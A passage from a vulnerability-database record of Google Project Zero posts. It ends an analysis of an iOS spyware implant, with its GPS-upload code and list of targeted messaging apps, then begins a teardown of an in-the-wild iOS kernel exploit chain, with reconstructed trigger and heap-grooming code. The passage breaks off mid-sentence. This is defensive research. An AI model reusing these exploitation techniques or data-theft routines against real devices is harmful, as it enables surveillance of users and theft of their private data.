[NSNumber numberWithDouble:coord.latitude],\n\n@\"lon\" : [NSNumber numberWithDouble:coord.longitude]};\n\n \n\n\npath = [@\"/tmp\" stringByAppendingPathComponent[NSUUID UUIDString];\n\n[dict writeToFile:path atomically:1];\n\n \n\n\nwhile(1){\n\nfdict = @{@\"gps.plist\": path};\n\nif([self postFiles:fdict remove:1]) {\n\nbreak;\n\n}\n\n \n\n\n[NSThread sleepForTimeInterval:10.0];\n\n}\n\n}\n\n \nHere's the response to the location command, which can be sent up to every 60 seconds (note: I have changed the location to be the peak of the Matterhorn in Switzerland): \n \n \n\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n\n<plist version=\"1.0\">\n\n<dict>\n\n<key>lat</key>\n\n<real>45.976451000646013</real>\n\n<key>lng</key>\n\n<real>7.6585657688044914</real>\n\n</dict>\n\n</plist>\n\n### App contents\n\nVarious implant commands enable the attackers to steal the container directories of third-party apps. The implant contains a hardcoded list of apps which will always have their container directories uploaded when the implant starts up. The command-and-control server can also query for a list of all 3rd party apps and request uploads of their container directories. \n \nThese container directories are where most iOS apps store all their data; for example, this is where end-to-end encryption apps store unencrypted copies of all sent and received messages. \n \nHere's the pre-populated list of bundle identifiers for third-party apps, which will always have their container directories uploaded if the apps are installed: \n \n\n\ncom.yahoo.Aerogram\n\ncom.microsoft.Office.Outlook\n\ncom.netease.mailmaster\n\ncom.rebelvox.voxer-lite\n\ncom.viber\n\ncom.google.Gmail\n\nph.telegra.Telegraph\n\ncom.tencent.qqmail\n\ncom.atebits.Tweetie2\n\nnet.whatsapp.WhatsApp\n\ncom.skype.skype\n\ncom.facebook.Facebook\n\ncom.tencent.xin\n\n \nIf the attackers were interested in other apps installed on the device they could use a combination of the applist and app commands to get a listing of all installed app ids, then upload a particular app's container directory by id. The allapp command will upload all the container directories for all apps on the device. \n\n\n### Impact\n\nThe implant has access to almost all of the personal information available on the device, which it is able to upload, unencrypted, to the attacker's server. The implant binary does not persist on the device; if the phone is rebooted then the implant will not run until the device is re-exploited when the user visits a compromised site again. Given the breadth of information stolen, the attackers may nevertheless be able to maintain persistent access to various accounts and services by using the stolen authentication tokens from the keychain, even after they lose access to the device.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2019-08-29T00:00:00", "type": "googleprojectzero", "title": "\nImplant Teardown\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8646"], "modified": "2019-08-29T00:00:00", "id": "GOOGLEPROJECTZERO:1207813731774186F9A98E4FD3472E6D", "href": "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-06-07T02:00:20", "description": "Posted by Ian Beer, Project Zero \n \n\n\nTL;DR \n \nThis exploit provides evidence that these exploit chains were likely written contemporaneously with their supported iOS versions; that is, the exploit techniques which were used suggest that this exploit was written around the time of iOS 10. This suggests that this group had a capability against a fully patched iPhone for at least two years. \n\n \n\n\nThis is one of the three chains (of five chains total) which exploit only one kernel vulnerability that was directly reachable from the Safari sandbox.\n\n## In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow\n\nWe'll look first at the earliest chain we found. This targets iOS 10.0.1-10.1.1 and has probably been active since September 2016. \n \n\n\ntargets: 5s through 7, 10.0.1 through 10.1.1 \n \n\n\nsupported version matrix:\n\niPhone6,1 (5s, N51AP)\n\niPhone6,2 (5s, N53AP)\n\niPhone7,1 (6 plus, N56AP)\n\niPhone7,2 (6, N61AP)\n\niPhone8,1 (6s, N71AP)\n\niPhone8,2 (6s plus, N66AP)\n\niPhone8,4 (SE, N69AP)\n\niPhone9,1 (7, D10AP)\n\niPhone9,2 (7 plus, D11AP)\n\niPhone9,3 (7, D101AP)\n\niPhone9,4 (7 plus, D111AP) \n \n\n\nversion support is slightly different between platforms:\n\niPhone 6,*;7,*;8,*:\n\n14A403 (10.0.1 - 13 Sep 2016) this is the first public version of iOS 10\n\n14A456 (10.0.2 - 23 Sep 2016)\n\n14B72 (10.1 - 24 Oct 2016)\n\n14B100 (10.1.1 - 31 Oct 2016) \n\n14B150 (10.1.1 - 9 Nov 2016) \n \n\n\niPhone 9,*:\n\n14A403 (10.0.1 - 13 Sep 2016)\n\n14A456 (10.0.2 - 23 Sep 2016)\n\n14A551 (10.0.3 - 17 Oct 2016) : NOTE: this version was iPhone 7 only; \"cellular connectivity problem)\n\n14B72c (10.1 - 24 Oct 2016)\n\n14B100 (10.1.1 - 31 Oct 2016) \n\n14B150 (10.1.1 - 9 Nov 2016) \n \n\n\nFirst unsupported version: 10.2 - 12 December 2016\n\n### The first kernel vulnerability\n\nThe first kernel vulnerability is a heap overflow in the function AGXAllocationList2::initWithSharedResourceList, part of the com.Apple.AGX kext, a driver for the embedded GPU in the iPhone. The vulnerability is reachable from the WebContent sandbox, there is no separate sandbox escape vulnerability.\n\n \nAGXAllocationList2::initWithSharedResourceList is a C++ virtual member method which takes two arguments, a pointer to an IOAccelShared2 object and a pointer to an IOAccelSegmentResourceListHeader object. That resource list header pointer points to memory which is shared with userspace and the contents are fully attacker-controlled. The bug lies in the code which parses that resource list structure. The structure looks like this: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9Hcl2Mk4BMaVntA8u-jCaYF-TaauE_lDlyOqCLd5O4616WfukgtXthUDJaDrU3AhHw8lh1lksm02Q_8wTYYZYL2VIJwB6Z2kpXTBiHo8bjq9JTzvayGo4atTCIlxvVpLpj2dNccT9tT1H1Nc0hM_mOIUZb_BtncAenDujKJ4LaNI5hhDrZT6u_zor/s2048/0.%20agx%20sub-descriptor%20structure%20-%20HI_RES.png>)\n\nThere's an 0x18 byte header structure, the last dword of which is a count of the number of following sub-descriptor structures. Each of those sub-descriptor structures is 0x40 bytes, with the last two bytes being a uint16_t count of sub-entries contained in the sub-descriptor. \n \n\n\nThe sub-descriptor contains two arrays, one of dword resource-id values, and one of two-byte flags. They are meant to be seen as pairs, with the first flag matching up with the first resource id. \n \n\n\nThe driver reads the n_entries value from shared memory and multiplies it by 6 to determine what it believes should be the maximum total number of sub-resources across all the sub-descriptors: \n \n\n\nn_entries = *(_DWORD *)(shmem_ptr + 0x14);\n\nn_max_subdescriptors = 6 * n_entries;\n\n \nThis value is then multiplied by 8, as for each subresource_id they'll store a pointer: \n \n \n\n\nresources_buf = IOMalloc(8 * n_max_subdescriptors);\n\n \nThe code then continues on to parse the sub-descriptors: \n \n \n\n\nn_entries = *(_DWORD *)(shmem_ptr + 0x14);\n\n...\n\nvoid* resource = NULL;\n\nsize_t total_resources = 0;\n\ninput = (struct input*)shmem_ptr;\n\nstruct sub_desc* desc = &input->descs[0];\n\nfor (i = 0; i < n_entries; i++) {\n\nfor (int j = 0; j < desc->n_sub_entries; j+) {\n\nint err = IOAccelShared2::lookupResource(ioaccel_shared,\n\ndesc->resource_ids[j],\n\n&resource);\n\nif (err) {\n\ngoto fail;\n\n}\n\n \n\n\nunsigned short flags = desc->flags[j];\n\n \n\n\nif (flags_invalid(flags)) {\n\ngoto fail;\n\n}\n\nresources_buf[total_resources++] = resource;\n\n}\n\n...\n\n}\n\n \nThe issue is that the code never validates the assumption that each sub-descriptor has at-most 6 sub-entries; there's actually space in the structure for 7 completely controlled resource_id and flag pairs. The code assumes that resources_buf was allocated for the worst case of 6 entries per sub-descriptor, so there are no bounds checks when the loop writes to resources_buf. \n \n \n\n\nSince n_entries is completely controlled, the attacker can control the size passed to IOMalloc. They can also control the number of sub-descriptors which contain 7 rather than 6 entries, allowing them to write a controlled number of pointers off the end of the target IOMalloc allocation. Those will be pointers to IOAccelResource2 objects.\n\n \n\n\nNote that the second fetch of n_entries from shared memory isn't a decompiler error; it's really there in the binary: \n \n\n\nfetch 1:\n\ncom.apple.AGX:__text:FFFFFFF006B54800 LDR W8, [X19,#0x14]\n\n...\n\nfetch 2:\n\ncom.apple.AGX:__text:FFFFFFF006B548B4 LDR W8, [X19,#0x14]\n\n \nThis is not the bug which was exploited; in fact this variant wasn't fixed until iOS 12. See the code in Appendix A for the trigger for this variant. Note that this would have meant that with only minor changes the exploit would have continued to work for years after the initial patch. The variant overflows the same buffer with the same values. \n\n\n### start\n\nAll the exploits start by calling [task_threads()](<http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_threads.html>) then [thread_terminate()](<http://web.mit.edu/darwin/src/modules/xnu/osfmk/man/thread_terminate.html>) in a loop to stop all other running threads in the WebContent task where the attackers get initial remote code execution. \n \n\n\nThis first chain uses the system loader to resolve symbols but they chose to not link against the IOSurface framework which they use, so they call [dlopen()](<https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlopen.3.html>) to get a handle to the IOSurface.dylib userspace library and resolve two function pointers ([IOSurfaceCreate](<https://developer.apple.com/documentation/iosurface/1419383-iosurfacecreate?language=objc>) and [IOSurfaceGetID](<https://developer.apple.com/documentation/iosurface/1419472-iosurfacegetid?language=objc>)) via [dlsym()](<https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/dlsym.3.html>). These will be used later.\n\n### System Identification\n\nThey read the hw.machine [sysctl](<https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/sysctlbyname.3.html>) variable to get the device model name (which is a string like \"iPhone6,1\") and read the ProductBuildVersion value from the CFDictionary returned by CFCopySystemVersionDictionary() to get the OS build ID. From this combination they can determine exactly which kernel image is running on the device. \n \n\n\nThey format this information into a string like \"iPhone6,1(14A403)\" (which would be for iOS 10.0.1 running on iPhone 5S.) From the __DATA segment of the exploit binary they read a serialized NSDictionary (via [[NSKeyedUnarchiver unarchiveObjectWithData:]](<https://developer.apple.com/documentation/foundation/nskeyedunarchiver/1413894-unarchiveobjectwithdata>).) The dictionary maps the supported hardware and kernel image pairs to structures containing pointers and offsets used later in the exploit. \n \n\n\n{\n\n\"iPhone6,1(14A403)\" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;\n\n\"iPhone6,1(14A456)\" = <a8a20700 00000000 40f60700 00000000 50885000 00000000 80a05a00 00000000 0c3c0900 00000000 c41f0800 00000000 28415a00 00000000 98085300 00000000 60f56000 00000000 005a4600 00000000 50554400 00000000 a4b73a00 00000000 00001000 00000000 50a05a00 00000000 b8a05a00 00000000 68e4fdff ffffffff>;\n\n....}\n\n \nThey read the hw.memsize sysctl to determine whether the device has more than 1GB of RAM. Devices with 1GB of RAM (5s, 6, 6 plus) use a 4kB physical page size, whereas those with more than 1GB of RAM use 16kB physical pages. This difference is important because the kernel zone allocator has slightly different behaviour when physical page sizes are different. We'll look more closely at these differences when they become relevant. \n\n\n### Exploitation\n\nThey open an IOSurfaceRootUserClient: \n \n\n\nmatching_dict = IOServiceMatching(\"IOSurfaceRoot\");\n\nioservice = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict);\n\nIOServiceOpen(ioservice,\n\nmach_task_self(),\n\n0, // the userclient type\n\n&userclient);\n\n \nIOSurfaces are intended to be used as buffers for graphics operations, but none of the exploits use this intended functionality. Instead they use one other very convenient feature: the ability to associate arbitrary kernel OSObjects with an IOSurface for heap grooming. \n\n\n \n\n\nThe [documentation for IOSurfaceSetValue](<https://developer.apple.com/documentation/iosurface/1419437-iosurfacesetvalue?language=objc>) nicely explains its functionality: \n \n\n\nThis call lets you attach CF property list types to an IOSurface buffer. This call is expensive (it must essentially serialize the data into the kernel) and thus should be avoided whenever possible. \n \n\n\nThose Core Foundation property list objects will be serialized in userspace then the kernel will deserialize them into their corresponding OSObject types and attach them to the IOSurface: \n \n\n\nCFDictionary -> OSDictionary \nCFSet -> OSSet\n\nCFNumber -> OSNumber\n\nCFBoolean -> OSBoolean\n\nCFString -> OSString\n\nCFData -> OSData\n\n \nThe last two types are of particular interest as they're variable-sized. By serializing different length CFString and CFData objects as IOSurface properties you can exercise quite a lot of control over the kernel heap. Even more importantly, these properties can be read back in a non-destructive way via [IOSurfaceCopyValue](<https://developer.apple.com/documentation/iosurface/1419365-iosurfacecopyvalue?language=objc>), making them an excellent target for building memory disclosure primitives from memory corruption vulnerabilities. We'll see both these techniques used multiple times across the exploit chains. \n\n\n### What is IOKit?\n\nIOKit is the framework used in iOS for building device drivers. It's written in C++ and drivers can make use of object-oriented features, such as inheritance, to aid the rapid development of new code. \n \n\n\nAn IOKit driver which wishes to communicate with userspace in some way consists of two major parts: an IOService and an IOUserClient (often just called a user client.) \n \n\n\nIOServices can be thought of as providing the functionality of the driver. \n \n\n\nThe IOUserClient is the interface between the IOService and userspace clients of the driver. There can be a large number of IOUserClients per IOService, but typically there's only one (or a small number) of IOServices per hardware device. \n \n\n\nThe reality is of course more complex, but this simplified view suffices to understand the relevance of the attack surfaces.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqAcLVICb-Zfbl77_LSpmpTfTRjblI6YF1Z9ZSLGLnM2aJNY0ZHlIXaFXHD103_YxjZYSduAjQCE1oxgKbwbtzQxW6uv3yvf0thwFXlDs6-6-LJ4uhPPJz-zEjexXUdQwQOPUdHtsFui8dWIVToQzn3wiuR9cyHQ8eV-OX1bh0HPF6DnMEhOZ2znDk/s2048/1.%20highly%20simplified%20IOKit%20diagram%20-%20HI_RES.png>)\n\n### Talking to IOKit\n\nUserspace communicates with IOUserClient objects via external methods. These can be thought of as syscalls exposed by the IOUserClient objects to userspace, callable by any process which has a send right to the mach port representing the IOUserClient object. External methods are numbered and can take variable sized input arguments. We'll look in great detail at exactly how this works when it becomes necessary for future exploits in the series. \n \n\n\nLet's get back to the first exploit chain and see how they get started:\n\n### Setting up the trigger\n\nThey open an AGXSharedUserClient: \n \n\n\nmatching_dict = IOServiceMatching(\"IOGraphicsAccelerator2\");\n\nagx_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching_dict)\n\nAGXSharedUserClient = 0;\n\nIOServiceOpen(agx_service,\n\nmach_task_self(),\n\n2, // type -> AGXSharedUserClient\n\n&AGXSharedUserClient)\n\n \nIn IOKit parlance matching is the process of finding the correct device driver for a purpose; in this case they're using the matching system to open a user client connection to a particular driver. \n\n\n \n\n\nThe call to IOServiceOpen will invoke a sandbox policy check. Here's the relevant section from the com.apple.WebKit.WebContent.sb sandbox profile on iOS which allows access to this IOKit device driver from inside the MobileSafari renderer process: \n \n\n\n(allow iokit-open\n\n(iokit-user-client-class \"IOSurfaceRootUserClient\")\n\n(iokit-user-client-class \"IOSurfaceSendRight\")\n\n(iokit-user-client-class \"IOHIDEventServiceFastPathUserClient\")\n\n(iokit-user-client-class \"AppleKeyStoreUserClient\")\n\n(require-any (iokit-user-client-class \"IOAccelDevice\")\n\n(iokit-user-client-class \"IOAccelDevice2\")\n\n(iokit-user-client-class \"IOAccelSharedUserClient\")\n\n(iokit-user-client-class \"IOAccelSharedUserClient2\")\n\n(iokit-user-client-class \"IOAccelSubmitter2\")\n\n(iokit-user-client-class \"IOAccelContext\")\n\n(iokit-user-client-class \"IOAccelContext2\"))\n\n(iokit-user-client-class \"IOSurfaceAcceleratorClient\")\n\n(extension \"com.apple.security.exception.iokit-user-client-class\")\n\n(iokit-user-client-class \"AppleJPEGDriverUserClient\")\n\n(iokit-user-client-class \"IOHIDLibUserClient\")\n\n(iokit-user-client-class \"IOMobileFramebufferUserClient\"))\n\n \nAGXSharedUserClient, though not explicitly mentioned in the profile, is allowed because it inherits from IOAccelSharedUserClient2. This human-readable version of the sandbox profile was generated by the [sandblaster](<https://github.com/malus-security/sandblaster>) tool from an iOS 11 kernelcache. \n\n\n \n\n\nI mentioned earlier that the bug is triggered by the kernel reading a structure from shared memory; the next step in the exploit is to use the AGX driver's external method interface to allocate two shared memory regions, using external method 6 (create_shmem) of the AGXSharedUserClient: \n \n\n\ncreate_shmem_result_size = 0x10LL;\n\nu64 scalar_in = 4096LL; // scalar in = size\n\nv42 = IOConnectCallMethod(\n\nAGXSharedUserClient,\n\n6, // selector number for create_shmem external method\n\n&scalar_in, // scalar input, value is shm size\n\n1, // number of scalar inputs\n\n0,\n\n0,\n\n0,\n\n0,\n\n&create_shmem_result, // structure output pointer\n\n&create_shmem_result_size); // structure output size pointer\n\n \nIOConnectCallMethod is the main (though not the sole) way to call external methods on userclients. The first argument is the mach port name which represents this userclient connection. The second is the external method number (called the selector.) The remaining arguments are the inputs and outputs. \n\n\n \n\n\nThis method returns a 16-byte structure output which looks like this: \n \n\n\nstruct create_shmem_out {\n\nvoid* base;\n\nu32 size;\n\nu32 id;\n\n};\n\n \nbase is the address in the task where the driver mapped the shared memory, size is the size and id a value used to refer to this resource later. \n\n\n \n\n\nThey allocate two of these shared memory regions; the first is left empty and the second will contain the trigger allocation list structure. \n \n\n\nThey also create a new IOAccelResource with ID 3 via the AGXSharedUserClient external method 3 (IOAccelSharedUserClient::new_resource.)\n\n### Heap groom\n\nThe loop containing the trigger function is very curious; right before triggering the bug they create around 100 threads. For me when I was first trying to determine the root-cause of the bug they were exploiting this pointed towards one of two things: \n \n\n\n 1. They were exploiting a race condition bug.\n\n 2. They were trying to remove noise from the heap, by busy looping many threads and preventing other processes from using the kernel heap.\n\n \n\n\nHere's the outer loop which is creating the threads: \n \n\n\nfor (int i = 0; i < constant_0x10_or_0x13 + 1; i++) {\n\nfor ( j = 0; j < v6 - 1; ++j ){\n\npthread_create(&pthread_t_array[iter_cnt],\n\nNULL,\n\nthread_func,\n\n&domain_socket_fds[2 * iter_cnt]);\n\nwhile (!domain_socket_fds[2 * iter_cnt] ) {;};\n\nn_running_threads = ++iter_cnt;\n\nusleep(10);\n\n}\n\nsend_kalloc_reserver_message(global_mach_port[i + 50],\n\ntarget_heap_object_size,\n\n1);\n\n}\n\n \nHere's the function passed to pthread_create, it's pretty clear that neither of those hypotheses were even close to accurate: \n\n\nvoid* thread_func(void* arg) {\n\nint sockets[2] = {0}; \n\n \n\n\nglobal_running_threads++;\n\nif (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {\n\nreturn NULL;\n\n}\n\n \n\n\nchar buf[256];\n\nstruct msghdr_x hdrs[1024] = {0};\n\nstruct iovec iov;\n\niov.iov_base = buf;\n\niov.iov_len = 256;\n\n \n\n\nfor (int i = 0; i < constant_value_from_offsets/0x20; i++) {\n\nhdrs[i].msg_iov = &iov;\n\nhdrs[i].msg_iovlen = 1;\n\n}\n\n*(int*)arg = sockets[0];\n\n*((int*)arg + 1) = sockets[1];\n\n \n\n\nrecvmsg_x(sockets[0], hdrs, constant_value_from_offsets/0x20, 0);\n\n \n\n\nreturn NULL;\n\n}\n\n \nThis is pretty clearly not a trigger for a shared-memory bug. They're also very unlikely to be using this to busy-loop a cpu core, the recvmsg_x syscall will block until there's data to be read and yield the CPU back to the scheduler. \n\n\n \n\n\nThe only hint to what's going on is that the number of loop iterations is set by a value read from the offsets data structure they parsed from the NSArchiver. This indicates that perhaps this is something like a novel heap-grooming technique. Let's look at the code for recvmsg_x and try to work out what's going on.\n\n### recvmsg_x heap groom\n\nThe prototype for the recvmsg_x syscall is: \n \n\n\nuser_ssize_t recvmsg_x(int s, struct msghdr_x *msgp, u_int cnt, int flags);\n\n \nThe msgp argument is a pointer to an array of msghdr_x structures: \n \n \n\n\nstruct msghdr_x {\n\nuser_addr_t msg_name; /* optional address */\n\nsocklen_t msg_namelen; /* size of address */\n\nuser_addr_t msg_iov; /* scatter/gather array */\n\nint msg_iovlen; /* # elements in msg_iov */\n\nuser_addr_t msg_control; /* ancillary data, see below */\n\nsocklen_t msg_controllen; /* ancillary data buffer len */\n\nint msg_flags; /* flags on received message */\n\nsize_t msg_datalen; /* byte length of buffer in msg_iov */\n\n};\n\n \nThe cnt argument is the number of these structures contained in the array. In the exploit the msg_iov is set to always point to the same single-entry iovec which points to a 256-byte stack buffer, and msg_iovlen is set to 1 (the number of iovec entries.) \n\n\n \n\n\nThe recvmsg_x syscall is implemented in bsd/kern/uipc_syscalls.c. It will initially make three variable-sized kernel heap allocations: \n \n\n\nuser_msg_x = _MALLOC(uap->cnt * sizeof(struct user_msghdr_x),\n\nM_TEMP, M_WAITOK | M_ZERO);\n\n...\n\nrecv_msg_array = alloc_recv_msg_array(uap->cnt);\n\n...\n\numsgp = _MALLOC(uap->cnt * size_of_msghdr,\n\nM_TEMP, M_WAITOK | M_ZERO);\n\n \nThe msgp userspace buffer is then copied in to the user_msg_x buffer: \n \n \n\n\nerror = copyin(uap->msgp, umsgp, uap->cnt * size_of_msghdr);\n\n \nsizeof(struct user_msghdr_x) is 0x38, and size_of_msghdr is also 0x38. alloc_recv_msg_array is just a simple wrapper around _MALLOC which multiplies count by sizeof(struct recv_msg_elem): \n \n \n\n\nstruct recv_msg_elem *\n\nalloc_recv_msg_array(u_int count)\n\n{\n\nstruct recv_msg_elem *recv_msg_array;\n\n \n\n\nrecv_msg_array = _MALLOC(count * sizeof(struct recv_msg_elem),\n\nM_TEMP, M_WAITOK | M_ZERO);\n\n \n\n\nreturn (recv_msg_array);\n\n}\n\n \nsizeof(struct recv_msg_elem) is 0x20. Recall that the grooming thread function passed a constant divided by 0x20 as the cnt argument to the recvmsg_x syscall; it's quite likely therefore that this is the allocation which is being targeted. So what's in here? \n\n\n \n\n\nIt's allocating an array of struct recv_msg_elems: \n \n\n\nstruct recv_msg_elem {\n\nstruct uio *uio;\n\nstruct sockaddr *psa;\n\nstruct mbuf *controlp;\n\nint which;\n\nint flags;\n\n};\n\n \nThis array is going to be filled in by internalize_recv_msghdr_array: \n \n \n\n\nerror = internalize_recv_msghdr_array(umsgp,\n\nIS_64BIT_PROCESS(p) ? UIO_USERSPACE64 : UIO_USERSPACE32,\n\nUIO_READ, uap->cnt, user_msg_x, recv_msg_array);\n\n \nThis function allocates and initializes a kernel uio structure for each of the iovec arrays contained in the input array of msghdr_x's: \n \n \n\n\nrecv_msg_elem->uio = uio_create(user_msg->msg_iovlen, 0,\n\nspacetype, direction);\n\n \n\n\nerror = copyin_user_iovec_array(user_msg->msg_iov,\n\nspacetype, user_msg->msg_iovlen, iovp);\n\n \nuio_create allocates space for the uio structure and the iovector base and length pointers inline: \n \n \n\n\nuio_t uio_create(int a_iovcount, /* number of iovecs */\n\noff_t a_offset, /* current offset */\n\nint a_spacetype, /* type of address space */\n\nint a_iodirection ) /* read or write flag */\n\n{\n\nvoid* my_buf_p;\n\nsize_t my_size;\n\nuio_t my_uio;\n\nmy_size = UIO_SIZEOF(a_iovcount);\n\nmy_buf_p = kalloc(my_size);\n\nmy_uio = uio_createwithbuffer(a_iovcount, \n\na_offset,\n\na_spacetype,\n\na_iodirection,\n\nmy_buf_p,\n\nmy_size );\n\n \n\n\nif (my_uio != 0) {\n\n/* leave a note that we allocated this uio_t */\n\nmy_uio->uio_flags |= UIO_FLAGS_WE_ALLOCED;\n\n}\n\nreturn( my_uio );\n\n}\n\n \nhere's UIO_SIZEOF: \n \n \n\n\n#define UIO_SIZEOF( a_iovcount ) \\\n\n( sizeof(struct uio) + (MAX(sizeof(struct user_iovec), sizeof(struct kern_iovec)) * (a_iovcount)) )\n\n \nstruct uio looks like this: \n \n \n\n\nstruct uio {\n\nunion iovecs uio_iovs; /* current iovec */\n\nint uio_iovcnt; /* active iovecs */\n\noff_t uio_offset;\n\nenum uio_seg uio_segflg;\n\nenum uio_rw uio_rw;\n\nuser_size_t uio_resid_64;\n\nint uio_size; /* size for use with kfree */\n\nint uio_max_iovs; /* max number of iovecs this uio_t can hold */\n\nu_int32_t uio_flags;\n\n};\n\n \nThere's a lot going on here, let's look at this diagramatically: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi497V9qDw79oAwrNI4bNSkfxDo0xbDp_ImytkXu4XfU5D07KlqUnAD40Isn2q-sd2XneETz4RxZohBY4l4SYT-y-2IaBMTT9_mrJKsHApwXsff5Y47ZiAb6bLJydBZxdCZFE9H2FwcYNVSFABo-fQ1YjCW10cB_5W7zhGl-pJwde3gs8tiqdn4yGoR/s2048/agx%20recvmsg_x%20heapgroom%20initial%20setup%20-%20HI_RES.png>)\n\nOn 4k devices they spin up 7 threads, which will make 7 of the recv_msg_elem array allocations, then they send a kalloc_reserver message which will make one more target kalloc allocation which can be free'd independently. \n\n### Heap grooming technique 2: out-of-line memory in mach messages\n\nAs you can see from the diagram above, the recv_msg_elem allocations are interspersed with 4kb kalloc allocations. They make these allocations via crafted mach messages. Here's the function which builds and sends these messages: \n \n\n\nstruct kalloc_reserver_message {\n\nmach_msg_base_t msg;\n\nmach_msg_ool_descriptor_t desc[62];\n\n};\n\n \n\n\nint\n\nsend_kalloc_reserver_message(mach_port_t dst_port,\n\nint kalloc_size,\n\nint n_kallocs)\n\n{\n\nstruct kalloc_reserver_message msg = {0};\n\nchar buf[0x800] = {0};\n\n \n\n\nmsg.header.msgh_bits =\n\nMACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND,\n\n0,\n\n0,\n\nMACH_MSGH_BITS_COMPLEX);\n\n \n\n\nmsg.header.msgh_remote_port = dst_port;\n\nmsg.header.msgh_size = sizeof(mach_msg_base_t) +\n\n(n_kallocs * sizeof(mach_msg_ool_descriptor_t));\n\nmsg->body.msgh_descriptor_count = n_kallocs;\n\n \n\n\nfor (int i = 0; i < n_kallocs; i++) {\n\nmsg.descs[i].address = buf;\n\nmsg.descs[i].size = kalloc_size - 24;\n\nmsg.descs[i].type = MACH_MSG_OOL_DESCRIPTOR;\n\n}\n\n \n\n\nerr = mach_msg(&msg.header,\n\nMACH_SEND_MSG,\n\nmsg.header.msgh_size,\n\n0, \n\n0,\n\n0,\n\n0);\n\n \n\n\nreturn (err == KERN_SUCCESS);\n\n}\n\n \nA mach message may contain \"out-of-line data\". This is intended to be used to send larger data buffers in a mach message while allowing the kernel to potentially use virtual memory optimisations to avoid copying the contents of the memory. ([See my recent P0 blog post on finding and exploiting vulnerabilities in those tricks for more details.](<https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html>)) \n\n\n \n\n\nOut-of-line memory regions are specified in a mach message using the following descriptor structure in the kernel-processed region of the message: \n \n\n\ntypedef struct {\n\nvoid* address;\n\nboolean_t deallocate: 8;\n\nmach_msg_copy_options_t copy: 8;\n\nunsigned int pad1: 8;\n\nmach_msg_descriptor_type_t type: 8;\n\nmach_msg_size_t size;\n\n} mach_msg_ool_descriptor_t;\n\n \naddress points to the base of the buffer to be sent in the message and size is the length of the buffer in bytes. If the size value is small (less than two physical pages) then the kernel will not attempt to perform any virtual memory trickery but instead simply allocate an equally sized kernel buffer via kalloc and copy the contents of the region to be sent into there. \n\n\n \n\n\nThe kernel buffer for the copy has the following 24-byte header at the start: \n \n\n\nstruct vm_map_copy {\n\nint type;\n\nvm_object_offset_t offset;\n\nvm_map_size_t size;\n\nunion {\n\nstruct vm_map_header hdr; /* ENTRY_LIST */\n\nvm_object_t object; /* OBJECT */\n\nuint8_t kdata[0]; /* KERNEL_BUFFER */\n\n} c_u;\n\n};\n\n \nThat's the reason the size field in the descriptor has 24 subtracted from it. This technique is used frequently throughout the exploit chains to make controlled-size kalloc allocations (with almost completely controlled data.) By destroying the port to which the reserver message was sent without receiving the message they can cause the kalloc allocations to be free'd. \n\n\n \n\n\nThey repeat the recv_msg_elem/kalloc_reserver layout a few times, trying to improve the odds that one of the kalloc_reservers lies just before a recv_msg_elem array allocation. On 16k devices they start 15 threads at a time, then send one kalloc_reserver message. This makes sense as 16 target allocation sized objects would fit within one target-size'd kalloc chunk on 16k devices. \n \n\n\nThey then free all the kalloc_reservers (by destroying the ports to which the message were sent) in the opposite order that they were allocated, and then reallocate half of them. The idea here is to try to ensure that the next kalloc allocation to be allocated from the target kalloc.4096 zone will fall in one of the gaps in-between the recv_msg_arrays: \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbrv1nuaBbeeOOtySBVLOZN0Pe1BAkO6mlUjHr1X84ajcdBVDe606MfpUJs25PSYvNqfxsWJ25sddr0G9Syd_JVCDbi2fppHOwhDXoOre2xpFqrcbIvX9VjBmYWbdt7aG2b5MstherTw4vvT_DjtYEzIpzSNft28piMqIU1u80nAjQZpH_CipL7l5b/s2048/agx%20recvmsg_x%20heapgroom%202%20-%20make%20holes%20-%20HI_RES.png>)\n\nOnce the groom is set up and the holes in the heap are likely in the right place they trigger the bug. \n \n\n\nThe trigger shared resource list is set up such that it will make a 4kb kalloc allocation 